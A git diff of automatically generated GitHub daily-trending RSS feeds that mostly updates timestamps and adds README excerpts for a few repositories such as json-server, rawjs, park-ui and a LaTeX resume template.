tag:github.com,2024-01-06:/ruimgbarros/svelte-flourish-scroller + + <p></p><hr> \ No newline at end of file diff --git a/svg/daily/index.xml b/svg/daily/index.xml index 91843127a1f..49ced104bde 100644 --- a/svg/daily/index.xml +++ b/svg/daily/index.xml @@ -1,7 +1,7 @@ GitHub SVG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:03Z + 2024-01-06T01:41:12Z Daily Trending of SVG in GitHub \ No newline at end of file diff --git a/swift/daily/index.xml b/swift/daily/index.xml index 1af8b343444..bde4aac84eb 100644 --- a/swift/daily/index.xml +++ b/swift/daily/index.xml @@ -1,7 +1,7 @@ GitHub Swift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:11Z + 2024-01-06T01:41:19Z Daily Trending of Swift in GitHub \ No newline at end of file diff --git a/swig/daily/index.xml b/swig/daily/index.xml index 397aa57155a..353932d94b0 100644 --- a/swig/daily/index.xml +++ b/swig/daily/index.xml @@ -1,7 +1,7 @@ GitHub SWIG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:08Z + 2024-01-06T01:41:15Z Daily Trending of SWIG in GitHub \ No newline at end of file diff --git a/systemverilog/daily/index.xml b/systemverilog/daily/index.xml index ba5ca9e1098..2214c7f30f6 100644 --- a/systemverilog/daily/index.xml +++ b/systemverilog/daily/index.xml @@ -1,7 +1,7 @@ GitHub SystemVerilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:35Z + 2024-01-06T01:41:32Z Daily Trending of SystemVerilog in GitHub \ No newline at end of file diff --git a/talon/daily/index.xml b/talon/daily/index.xml index ed267d58827..725afc7aa13 100644 --- a/talon/daily/index.xml +++ b/talon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Talon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:36Z + 2024-01-06T01:41:31Z Daily Trending of Talon in GitHub \ No newline at end of file diff --git a/tcl/daily/index.xml b/tcl/daily/index.xml index e0c63d7de49..6f5ba3fc18e 100644 --- a/tcl/daily/index.xml +++ b/tcl/daily/index.xml @@ -1,7 +1,14 @@ GitHub Tcl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:37Z + 2024-01-06T01:41:33Z Daily Trending of Tcl in GitHub + + Polkadot-Blockchain-Academy/pba-content + 2024-01-06T01:41:33Z + tag:github.com,2024-01-06:/Polkadot-Blockchain-Academy/pba-content + + <p>An intensive academic program teaching Blockchain, Substrate, and Polkadot.</p><hr> + \ No newline at end of file diff --git a/tcsh/daily/index.xml b/tcsh/daily/index.xml index c6141cc9ccd..d49be709ead 100644 --- a/tcsh/daily/index.xml +++ b/tcsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:34Z + 2024-01-06T01:41:31Z Daily Trending of Tcsh in GitHub \ No newline at end of file diff --git a/tea/daily/index.xml b/tea/daily/index.xml index c9fd108a744..14c3da13c34 100644 --- a/tea/daily/index.xml +++ b/tea/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tea Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:40Z + 2024-01-06T01:41:36Z Daily Trending of Tea in GitHub \ No newline at end of file diff --git a/terra/daily/index.xml b/terra/daily/index.xml index 21b8770d74b..17a7d9355a2 100644 --- a/terra/daily/index.xml +++ b/terra/daily/index.xml @@ -1,7 +1,7 @@ GitHub Terra Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:38Z + 2024-01-06T01:41:34Z Daily Trending of Terra in GitHub \ No newline at end of file diff --git a/tex/daily/index.xml b/tex/daily/index.xml index d8cad7a7284..04d97c4bad1 100644 --- a/tex/daily/index.xml +++ b/tex/daily/index.xml @@ -1,7 +1,21 @@ GitHub TeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:44Z + 2024-01-06T01:41:38Z Daily Trending of TeX in GitHub + + AyushR1/Resume-Template + 2024-01-06T01:41:38Z + tag:github.com,2024-01-06:/AyushR1/Resume-Template + + <p>Latex Resume Template.</p><hr><h1>Resume Template</h1> <p>A single-page, one-column resume for freshers.</p> <p>The main sections in the resume are</p> <ul> <li>Education</li> <li>Experience</li> <li>Projects</li> <li>Skills</li> <li>Achievements</li> <li>Positions of Responsibility</li> </ul> <p>This Resume Template is made up on top of works of Jake's Resume and Sb2nov.</p> <h2>Why I switched to Latex over G-Docs, Word or ResumeWebsite Builders?</h2> <p>Managing a resume on Google Docs or Word is complex and changing formatting or adding new stuff is cumbersome as we have to apply it in multiple places. Further, most available templates or websites of resume builders don't work well as they don't make proper use of the space available and oftentimes are paid to use properly.</p> <p>This template is an effort to ease the process of resume building for freshers to build quality resumes easily.</p> <h1>Showcase</h1> <h1>Deedy Inspired</h1> <p><img src="https://raw.githubusercontent.com/AyushR1/Resume-Template/main/img/deedy.png" alt="Untitled"></p> <h1>Cover Letter</h1> <p><img src="https://raw.githubusercontent.com/AyushR1/Resume-Template/main/img/cover.png" alt="Untitled"></p> <p><img src="https://raw.githubusercontent.com/AyushR1/Resume-Template/main/img/old.jpeg" alt="Untitled"></p> <h1><strong>Quick start</strong></h1> <p>Use it as a template on overleaf.</p> <p>Or use .tex file on your preferred choice of Latex Editor.</p> <h1>Based on -</h1> <p><a href="https://github.com/jakegut/resume">https://github.com/jakegut/resume</a></p> <p><a href="https://github.com/sb2nov/resume/">https://github.com/sb2nov/resume/</a></p> + + + CSECU-DSG/csecu-dsg.github.io + 2024-01-06T01:41:38Z + tag:github.com,2024-01-06:/CSECU-DSG/csecu-dsg.github.io + + <p></p><hr><h1>CSECU-DSG's Group Website</h1> <p>Based on <a href="https://github.com/wowchemy/starter-hugo-research-group">Wowchemy's Research Group Template</a> for <a href="https://github.com/gohugoio/hugo">Hugo</a>.</p> <p>Some useful links:</p> <ul> <li>๐Ÿ‘‰ <a href="https://wowchemy.com/templates/"><strong>Get Started</strong></a></li> <li>๐Ÿ“š <a href="https://wowchemy.com/docs/">View the <strong>documentation</strong></a></li> <li>๐Ÿ’ฌ <a href="https://discord.gg/z8wNYzb">Chat with the <strong>Wowchemy community</strong></a> or <a href="https://discourse.gohugo.io"><strong>Hugo community</strong></a></li> <li>๐Ÿฆ Twitter: <a href="https://twitter.com/wowchemy">@wowchemy</a> <a href="https://twitter.com/GeorgeCushen">@GeorgeCushen</a> <a href="https://twitter.com/search?q=(%23MadeWithWowchemy%20OR%20%23MadeWithAcademic)&amp;src=typed_query">#MadeWithWowchemy</a></li> <li>๐Ÿ’ก <a href="https://github.com/wowchemy/wowchemy-hugo-modules/issues">Request a <strong>feature</strong> or report a <strong>bug</strong> for <em>Wowchemy</em></a></li> <li>โฌ†๏ธ <strong>Updating Wowchemy?</strong> View the <a href="https://wowchemy.com/docs/update/">Update Guide</a> and <a href="https://github.com/wowchemy/wowchemy-hugo-modules/releases">Release Notes</a></li> </ul> <h2>Ecosystem</h2> <ul> <li><strong><a href="https://github.com/wowchemy/hugo-academic-cli/">Hugo Academic CLI</a>:</strong> Automatically import publications from BibTeX</li> </ul> + \ No newline at end of file diff --git a/texinfo/daily/index.xml b/texinfo/daily/index.xml index c3af3af86a6..83dc24d376b 100644 --- a/texinfo/daily/index.xml +++ b/texinfo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Texinfo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:53Z + 2024-01-06T01:41:43Z Daily Trending of Texinfo in GitHub \ No newline at end of file diff --git a/text/daily/index.xml b/text/daily/index.xml index 9d5b94384f9..7b15ffbbf2a 100644 --- a/text/daily/index.xml +++ b/text/daily/index.xml @@ -1,7 +1,7 @@ GitHub Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:52Z + 2024-01-06T01:41:45Z Daily Trending of Text in GitHub \ No newline at end of file diff --git a/textile/daily/index.xml b/textile/daily/index.xml index b0b2252842c..b44253f51cc 100644 --- a/textile/daily/index.xml +++ b/textile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Textile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:54Z + 2024-01-06T01:41:45Z Daily Trending of Textile in GitHub \ No newline at end of file diff --git a/textmate-properties/daily/index.xml b/textmate-properties/daily/index.xml index 6e48cc9945d..430bd2aa2b6 100644 --- a/textmate-properties/daily/index.xml +++ b/textmate-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub TextMate Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:51Z + 2024-01-06T01:41:44Z Daily Trending of TextMate Properties in GitHub \ No newline at end of file diff --git a/thrift/daily/index.xml b/thrift/daily/index.xml index ef1436b81a0..767a4785a88 100644 --- a/thrift/daily/index.xml +++ b/thrift/daily/index.xml @@ -1,7 +1,7 @@ GitHub Thrift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:57Z + 2024-01-06T01:41:46Z Daily Trending of Thrift in GitHub \ No newline at end of file diff --git a/ti-program/daily/index.xml b/ti-program/daily/index.xml index ef9a036e33f..ecdb0007aa9 100644 --- a/ti-program/daily/index.xml +++ b/ti-program/daily/index.xml @@ -1,7 +1,7 @@ GitHub TI Program Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:55Z + 2024-01-06T01:41:47Z Daily Trending of TI Program in GitHub \ No newline at end of file diff --git a/tla/daily/index.xml b/tla/daily/index.xml index b457c41d8b2..652fdd0928d 100644 --- a/tla/daily/index.xml +++ b/tla/daily/index.xml @@ -1,7 +1,7 @@ GitHub TLA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:56Z + 2024-01-06T01:41:48Z Daily Trending of TLA in GitHub \ No newline at end of file diff --git a/toml/daily/index.xml b/toml/daily/index.xml index d520d166faf..86daafbb0ed 100644 --- a/toml/daily/index.xml +++ b/toml/daily/index.xml @@ -1,7 +1,7 @@ GitHub TOML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:00Z + 2024-01-06T01:41:50Z Daily Trending of TOML in GitHub \ No newline at end of file diff --git a/tsql/daily/index.xml b/tsql/daily/index.xml index 53bf46e0ebd..cb3bfd3e8cb 100644 --- a/tsql/daily/index.xml +++ b/tsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:03Z + 2024-01-06T01:41:52Z Daily Trending of TSQL in GitHub \ No newline at end of file diff --git a/tsv/daily/index.xml b/tsv/daily/index.xml index 4dd95fb75de..0cb53789ed5 100644 --- a/tsv/daily/index.xml +++ b/tsv/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:59Z + 2024-01-06T01:41:50Z Daily Trending of TSV in GitHub \ No newline at end of file diff --git a/tsx/daily/index.xml b/tsx/daily/index.xml index be7c668e0e9..1054bc053f9 100644 --- a/tsx/daily/index.xml +++ b/tsx/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:04Z + 2024-01-06T01:41:55Z Daily Trending of TSX in GitHub \ No newline at end of file diff --git a/turing/daily/index.xml b/turing/daily/index.xml index 46dc034480f..52f01f1a5f4 100644 --- a/turing/daily/index.xml +++ b/turing/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:07Z + 2024-01-06T01:41:54Z Daily Trending of Turing in GitHub \ No newline at end of file diff --git a/turtle/daily/index.xml b/turtle/daily/index.xml index a555a432c00..399b427b5ca 100644 --- a/turtle/daily/index.xml +++ b/turtle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turtle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:06Z + 2024-01-06T01:41:53Z Daily Trending of Turtle in GitHub \ No newline at end of file diff --git a/twig/daily/index.xml b/twig/daily/index.xml index de5c5acc13c..b376298b14f 100644 --- a/twig/daily/index.xml +++ b/twig/daily/index.xml @@ -1,7 +1,7 @@ GitHub Twig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:05Z + 2024-01-06T01:41:54Z Daily Trending of Twig in GitHub \ No newline at end of file diff --git a/txl/daily/index.xml b/txl/daily/index.xml index 13c76bd552f..1e8ec7d5b2a 100644 --- a/txl/daily/index.xml +++ b/txl/daily/index.xml @@ -1,7 +1,7 @@ GitHub TXL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:09Z + 2024-01-06T01:41:56Z Daily Trending of TXL in GitHub \ No newline at end of file diff --git a/type-language/daily/index.xml b/type-language/daily/index.xml index a0f968ca235..6965b0ae390 100644 --- a/type-language/daily/index.xml +++ b/type-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Type Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:10Z + 2024-01-06T01:41:57Z Daily Trending of Type Language in GitHub \ No newline at end of file diff --git a/typescript/daily/index.xml b/typescript/daily/index.xml index c5ad699cacf..35f076d5b95 100644 --- a/typescript/daily/index.xml +++ b/typescript/daily/index.xml @@ -1,14 +1,28 @@ GitHub TypeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:14Z + 2024-01-06T01:42:00Z Daily Trending of TypeScript in GitHub - meglerhagen/projectx - 2024-01-05T01:45:14Z - tag:github.com,2024-01-05:/meglerhagen/projectx - - <p>ProjectX aims to simplify financial management with a user-friendly interface and robust backend</p><hr><a href="https://projectx-eight-gilt.vercel.app/"> <h1 align="center">ProjectX (Placeholder Name)</h1> </a> <p align="center"> Start at full speed with Projectx ! </p> <p align="center"> <a href="https://twitter.com/placeholder"> <img src="https://img.shields.io/twitter/follow/Projectx?style=flat&amp;label=%40projectxy&amp;logo=twitter&amp;color=0bf&amp;logoColor=fff" alt="Twitter"> </a> <a href="https://github.com/meglerhagen/projectx/raw/main/LICENSE"> <img src="https://img.shields.io/github/license/meglerhagen/projectx?label=license&amp;logo=github&amp;color=f80&amp;logoColor=fff" alt="License"> </a> </p> <p align="center"> <a href="https://raw.githubusercontent.com/meglerhagen/projectx/main/#introduction"><strong>Introduction</strong></a> ยท <a href="https://raw.githubusercontent.com/meglerhagen/projectx/main/#installation"><strong>Installation</strong></a> ยท <a href="https://raw.githubusercontent.com/meglerhagen/projectx/main/#tech-stack--features"><strong>Tech Stack + Features</strong></a> ยท <a href="https://raw.githubusercontent.com/meglerhagen/projectx/main/#author"><strong>Author</strong></a> ยท <a href="https://raw.githubusercontent.com/meglerhagen/projectx/main/#contributing"><strong>Credits</strong></a> </p> <br> <h2>Introduction</h2> <p>Lets goooo - Next.js 14, Prisma, Planetscale, Auth.js, Resend, React Email, Shadcn/ui, and Stripe. <br> All seamlessly integrated with the Projectx to accelerate the development.</p> <h2>Installation</h2> <p>Clone &amp; create this repo locally with the following command:</p> <pre><code class="language-bash">git clone https://github.com/meglerhagen/projectx.git </code></pre> <ol> <li>Install dependencies using pnpm:</li> </ol> <pre><code class="language-sh">yarn install </code></pre> <ol start="2"> <li>Copy <code>.env.example</code> to <code>.env</code> and update the variables.</li> </ol> <pre><code class="language-sh">cp .env.example .env.local </code></pre> <ol start="3"> <li> <p>Input everything you need for the env.</p> </li> <li> <p>Start the development server:</p> </li> </ol> <pre><code class="language-sh">yarn dev </code></pre> <h2>Database</h2> <p>This project uses MySQL database on PlanetScale. To setup a DB for your local dev:</p> <ol> <li>Create a free account and a <a href="https://planetscale.com/docs/tutorials/planetscale-quick-start-guide#create-a-database">new Database</a></li> <li>From the dashboard, create a branch and click "Connect" button.</li> <li>Hit <code>Create password</code> and select <code>Prisma</code> in <code>Connect with</code> dropdown</li> <li>Copy the url to <code>.env.local</code> file</li> <li>run <code>yarn run prisma:push</code> (Be mindfull prisma migrate won't work because it requires more privilliges for the database user).</li> </ol> <p>You can also use <code>docker-compose</code> to have a Mysql database locally, instead of relying on PlanetScale:</p> <ol> <li>Enter <code>MYSQL_ROOT_PASSWORD</code>, <code>MYSQL_DATABASE</code>, <code>MYSQL_USER</code> and <code>MYSQL_PASSWORD</code> values in <code>.env.local</code>.</li> <li>run <code>docker-compose --env-file .env.local up</code> to start the DB.</li> <li>run <code>yarn run prisma:push</code>.</li> </ol> <h2>Email provider</h2> <p>This project uses <a href="https://resend.com/">Resend</a> to handle transactional emails. You need to add create an account and get an api key needed for authentication.</p> <p>Please be aware that the Resend is designed to send test emails exclusively to the email address registered with the account, or to <code>delivered@resend.dev</code>, where they are logged on their dashboard.</p> <p>The default setting for <code>TEST_EMAIL_ADDRESS</code> is <code>delivered@resend.dev</code> but you have the option to change it to the email address that is associated with your Resend account.</p> <h2>Roadmap</h2> <ul> <li><input type="checkbox" checked disabled> <del>Inital setup</del></li> <li><input type="checkbox" disabled> Start removing templete</li> <li><input type="checkbox" disabled> Update UI to match the product</li> <li><input type="checkbox" disabled> XXXXXXXX</li> </ul> <h2>Tech Stack + Features</h2> <h3>Frameworks</h3> <ul> <li><a href="https://nextjs.org/">Next.js</a> โ€“ React framework for building performant apps with the best developer experience</li> <li><a href="https://authjs.dev/">Auth.js</a> โ€“ Handle user authentication with ease with providers like Google, Twitter, GitHub, etc.</li> <li><a href="https://www.prisma.io/">Prisma</a> โ€“ Typescript-first ORM for Node.js</li> <li><a href="https://react.email/">React Email</a> โ€“ Versatile email framework for efficient and flexible email development</li> </ul> <h3>Platforms</h3> <ul> <li><a href="https://vercel.com/">Vercel</a> โ€“ Easily preview &amp; deploy changes with git</li> <li><a href="https://planetscale.com/">PlanetScale</a> โ€“ A cutting-edge database platform for seamless, scalable data management</li> <li><a href="https://resend.com/">Resend</a> โ€“ A powerful email framework for streamlined email development</li> </ul> <h3>UI</h3> <ul> <li><a href="https://tailwindcss.com/">Tailwind CSS</a> โ€“ Utility-first CSS framework for rapid UI development</li> <li><a href="https://ui.shadcn.com/">Shadcn/ui</a> โ€“ Re-usable components built using Radix UI and Tailwind CSS</li> <li><a href="https://framer.com/motion">Framer Motion</a> โ€“ Motion library for React to animate components with ease</li> <li><a href="https://lucide.dev/">Lucide</a> โ€“ Beautifully simple, pixel-perfect icons</li> <li><a href="https://nextjs.org/docs/basic-features/font-optimization"><code>next/font</code></a> โ€“ Optimize custom fonts and remove external network requests for improved performance</li> <li><a href="https://nextjs.org/docs/app/api-reference/functions/image-response"><code>ImageResponse</code></a> โ€“ Generate dynamic Open Graph images at the edge</li> </ul> <h2>Contributing</h2> <p>We love our contributors! Here's how you can contribute:</p> <ul> <li><a href="https://github.com/meglerhagen/projectx/issues">Open an issue</a> if you believe you've encountered a bug.</li> <li>Make a <a href="https://github.com/meglerhagen/projectx/pull">pull request</a> to add new features/make quality-of-life improvements/fix bugs.</li> </ul> <a href="https://github.com/meglerhagen/projectx/graphs/contributors"> <img src="https://contrib.rocks/image?repo=meglerhagen/projectx"> </a> <h2>Repo Activity</h2> <p><img src="https://repobeats.axiom.co/api/embed/f90bd65d98d57ce8fc8bbf36079da64f0c5c8764.svg?sanitize=true" alt="Nextify repo activity โ€“ generated by Axiom" title="Repobeats analytics image"></p> + cschroeter/park-ui + 2024-01-06T01:42:00Z + tag:github.com,2024-01-06:/cschroeter/park-ui + + <p>Beautifully designed components built on Ark UI that work for the JS and CSS frameworks of your choice.</p><hr><h2>Park UI</h2> <p>Beautifully designed components built on <a href="https://ark-ui.com">Ark UI</a> that work for the JS and CSS frameworks of your choice.</p> <p><img src="https://park-ui.com/og.png" alt="Park UI OG Image"></p> <h2>Supported Frameworks</h2> <table> <thead> <tr> <th></th> <th><a href="https://chakra-ui.com">Chakra UI</a></th> <th><a href="https://panda-css.com/">Panda CSS</a></th> <th><a href="https://tailwindcss.com/">Tailwind CSS</a></th> <th><a href="https://unocss.dev/">UnoCSS</a></th> </tr> </thead> <tbody> <tr> <td><a href="https://react.dev/">React</a></td> <td>In Progress</td> <td>โœ“</td> <td>โœ“</td> <td>Planned</td> </tr> <tr> <td><a href="https://www.solidjs.com/">Solid</a></td> <td>-</td> <td>โœ“</td> <td>โœ“</td> <td>Planned</td> </tr> <tr> <td><a href="https://vuejs.org/">Vue</a></td> <td>-</td> <td>โœ“</td> <td>โœ“</td> <td>Planned</td> </tr> </tbody> </table> <h2>Documentation</h2> <p>Visit <a href="http://park-ui.com">http://park-ui.com</a> to view the documentation.</p> <h2>Contributing</h2> <p>If you would like to contribute to Park UI, please reach out to me on <a href="https://twitter.com/grizzly_codes">Twitter</a>.</p> <h2>License</h2> <p>Licensed under the <a href="https://github.com/cschroeter/park-ui/raw/main/LICENSE">MIT license</a>.</p> + + + squaresapp/rawjs + 2024-01-06T01:42:00Z + tag:github.com,2024-01-06:/squaresapp/rawjs + + <p>Better document.createElement(). So much better, that you may no longer need React.</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/squaresapp/rawjs/master/readme-poster.png" alt="RawJS Poster Image" width="300"> </p> <p><a href="https://twitter.com/intent/tweet?text=Is%20React%20too%20complicated%3F%20Give%20Raw.js%20a%20go.&amp;url=https://github.com/squaresapp/rawjs"><img src="https://img.shields.io/twitter/url/http/shields.io.svg?style=social" alt="Tweet"></a></p> <h2>What is RawJS?</h2> <p>RawJS an <strong>ultra-ergonomic HTML element construction library</strong> that is designed to facilitate the construction of complex user interfaces with in a zero-magic, vanilla TypeScript style. Call functions. Create HTMLElement objects with event bindings and CSS styling attached. That's it.</p> <p>It turns out, this is all you need to create complex interactive UIs. <strong>You don't need React, Vue, Angular, Svelte</strong>, or any of the others. These things are complicated UI sub-systems that run around behind the scenes and do a bunch of weird magic for you in order to keep your view in sync with your data. You have to do things their way, otherwise, the magic won't work.</p> <p>Frameworks tend to do a lot of reinventing of what you can already do in JavaScript. By making controllers that are just plain TypeScript classes, and using the DOM directly to store your view state, you can cut complexities associated with model/view synchronization. Some devs will shudder at this. But this technique can <strong>vastly</strong> reduce total project complexity. Code gets easier to debug. WTF moments reduce in&nbsp;frequency. Total project risk goes down.</p> <h2>RawJS Demo App</h2> <p>Building vanilla JS apps with the help of RawJS is really easy! See the <a href="https://github.com/squaresapp/rawjs-sample">demo color viewer mini app here</a> to see how simple vanilla JS apps can be.</p> <h2>RawJS Features:</h2> <ul> <li>No learning curve beyond knowing how to work the DOM.</li> <li>No props / state / special controller classes that need to be inherited.</li> <li>No weird or unpredictable framework "magic".</li> <li>No bloat. The whole library is only <strong>2.3KB</strong>.</li> <li>No performance overhead.</li> <li>No virtual DOM.</li> <li>No JSX required (though it works with JSX if that's your thing).</li> <li><strong>No external CSS / SASS / LESS</strong> files needed. Write your CSS in TypeScript, and get all the benefits of styling becoming just another part of the code.</li> <li><strong>No more asking StackOverflow: "How do I do X in framework Y?"</strong>. RawJS gives it to you raw. It's just you and the DOM. Do whatever makes sense.</li> </ul> <p>Also:</p> <ul> <li>RawJS is being used in production (see <a href="https://www.squaresapp.org/">Squares</a> and <a href="https://www.homello.io">Homello</a>).</li> <li>Many years in the making. Has passed through many different design variations.</li> <li>Works as a <code>&lt;script&gt;</code> include, as a module, or as a <code>require()</code>.</li> <li>Works in Node.js for server-side HTML generation (with the help of HappyDOM).</li> </ul> <h2>Watch Paul Gordon's Talk on RawJS at TorontoJS</h2> <p><a href="https://www.youtube.com/embed/nsXjS5J-6CM"><img src="https://img.youtube.com/vi/nsXjS5J-6CM/hqdefault.jpg" alt="Watch the video"></a></p> <h2>Installation</h2> <pre><code class="language-html">&lt;script src="https://cdn.jsdelivr.net/npm/@squaresapp/rawjs/raw.min.js"&gt;&lt;/script&gt; </code></pre> <p>Or</p> <pre><code>npm install @squaresapp/rawjs --save </code></pre> <h2>Usage</h2> <p>For ES Modules usage:</p> <pre><code class="language-typescript">import { raw } from "@squaresapp/rawjs"; document.body.append( raw.div( { padding: "100px", background: "red", }, raw.on("click", () =&gt; alert("Hello world")) ) ); </code></pre> <p>For global usage:</p> <pre><code class="language-typescript">document.body.append( raw.div( { padding: "100px", background: "red", }, raw.on("click", () =&gt; alert("Hello world")) ) ); </code></pre> <p>See more examples at the <a href="https://raw.githubusercontent.com/squaresapp/rawjs/master/quickstart.md">quickstart</a>.</p> + + + typicode/json-server + 2024-01-06T01:42:00Z + tag:github.com,2024-01-06:/typicode/json-server + + <p>Get a full fake REST API with zero coding in less than 30 seconds (seriously)</p><hr><blockquote> <p>[!IMPORTANT] Viewing alpha v1 documentation โ€“ usable but expect breaking changes. For stable version, see <a href="https://github.com/typicode/json-server/tree/v0">here</a></p> </blockquote> <h1>json-server</h1> <p><a href="https://github.com/typicode/json-server/actions/workflows/node.js.yml"><img src="https://github.com/typicode/json-server/actions/workflows/node.js.yml/badge.svg?sanitize=true" alt="Node.js CI"></a></p> <h2>Install</h2> <pre><code class="language-shell">npm install json-server@alpha </code></pre> <h2>Usage</h2> <p>Create a <code>db.json</code> (or <code>db.json5</code>) file</p> <pre><code class="language-json">{ "posts": [ { "id": "1", "title": "a title" }, { "id": "2", "title": "another title" } ], "comments": [ { "id": "1", "text": "a comment about post 1", "postId": "1" }, { "id": "2", "text": "another comment about post 1", "postId": "1" } ], "profile": { "name": "typicode" } } </code></pre> <p>Pass it to JSON Server CLI</p> <pre><code class="language-shell">$ json-server db.json </code></pre> <p>Get a REST API</p> <pre><code class="language-shell">$ curl http://localhost:3000/posts/1 { "id": "1", "title": "a title" } </code></pre> <p>Run <code>json-server --help</code> for a list of options</p> <table> <thead> <tr> <th align="center">Sponsors</th> </tr> </thead> <tbody> <tr> <td align="center"><a href="https://mockend.com/" target="_blank"><img src="https://jsonplaceholder.typicode.com/mockend.svg?sanitize=true" height="70px"></a></td> </tr> <tr> <td align="center"><a href="https://www.storyblok.com/" target="_blank"><img src="https://github.com/typicode/json-server/assets/5502029/c6b10674-4ada-4616-91b8-59d30046b45a" height="40px"></a></td> </tr> <tr> <td align="center"><a href="https://betterstack.com/" target="_blank"><img src="https://github.com/typicode/json-server/assets/5502029/44679f8f-9671-470d-b77e-26d90b90cbdc" height="40px"></a></td> </tr> </tbody> </table> <p><a href="https://github.com/users/typicode/sponsorship">Become a sponsor and have your company logo here</a></p> <h2>Routes</h2> <pre><code>GET /posts GET /posts/:id POST /posts PUT /posts/:id PATCH /posts/:id DELETE /posts/:id </code></pre> <pre><code>GET /profile PUT /profile PATCH /profile </code></pre> <h2>Params</h2> <h3>Conditions</h3> <ul> <li><code> </code> โ†’ <code>==</code></li> <li><code>lt</code> โ†’ <code>&lt;</code></li> <li><code>lte</code> โ†’ <code>&lt;=</code></li> <li><code>gt</code> โ†’ <code>&gt;</code></li> <li><code>gte</code> โ†’ <code>&gt;=</code></li> <li><code>ne</code> โ†’ <code>!=</code></li> </ul> <pre><code>GET /posts?views_gt=9000 </code></pre> <h3>Range</h3> <ul> <li><code>start</code></li> <li><code>end</code></li> <li><code>limit</code></li> </ul> <pre><code>GET /posts?_start=10&amp;_end=20 GET /posts?_start=10&amp;_limit=10 </code></pre> <h3>Paginate</h3> <ul> <li><code>page</code></li> <li><code>per_page</code> (default = 10)</li> </ul> <pre><code>GET /posts?_page=1&amp;_per_page=25 </code></pre> <h3>Sort</h3> <ul> <li><code>_sort=f1,f2</code></li> </ul> <pre><code>GET /posts?_sort=id,-views </code></pre> <h3>Nested and array fields</h3> <ul> <li><code>x.y.z...</code></li> <li><code>x.y.z[i]...</code></li> </ul> <pre><code>GET /posts?author.name=foo GET /posts?author.email=foo GET /posts?names[0]=foo </code></pre> <h3>Embed</h3> <pre><code>GET /posts?_embed=comments GET /comments?_embed=post </code></pre> <h2>Delete</h2> <pre><code>DELETE /posts/1 DELETE /posts/1?_embed=comments </code></pre> <h2>Serving static files</h2> <p>If you create a <code>./public</code> directory, JSON Serve will serve its content in addition to the REST API.</p> <p>You can also add custom directories using <code>-s/--static</code> option.</p> <pre><code class="language-sh">json-server -s ./static json-server -s ./static -s ./node_modules </code></pre> <h2>License</h2> <p>This project uses the <a href="https://fair.io/">Fair Source License</a>. Note: Only organizations with 3+ users need to contribute a small amount through sponsorship <a href="https://github.com/sponsors/typicode">sponsor</a> for usage. This license helps keep the project sustainable and healthy, benefiting everyone.</p> <p>For more information, FAQs, and the rationale behind this, visit <a href="https://fair.io/">https://fair.io/</a>.</p> \ No newline at end of file diff --git a/unified-parallel-c/daily/index.xml b/unified-parallel-c/daily/index.xml index 0eceda69b77..499c8b51583 100644 --- a/unified-parallel-c/daily/index.xml +++ b/unified-parallel-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unified Parallel C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:30Z + 2024-01-06T01:42:07Z Daily Trending of Unified Parallel C in GitHub \ No newline at end of file diff --git a/unity3d-asset/daily/index.xml b/unity3d-asset/daily/index.xml index cb2d80e087b..699838c5d49 100644 --- a/unity3d-asset/daily/index.xml +++ b/unity3d-asset/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unity3D Asset Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:29Z + 2024-01-06T01:42:06Z Daily Trending of Unity3D Asset in GitHub \ No newline at end of file diff --git a/unix-assembly/daily/index.xml b/unix-assembly/daily/index.xml index 5e44d9b2a56..6875e5eaef1 100644 --- a/unix-assembly/daily/index.xml +++ b/unix-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unix Assembly Daily Trending 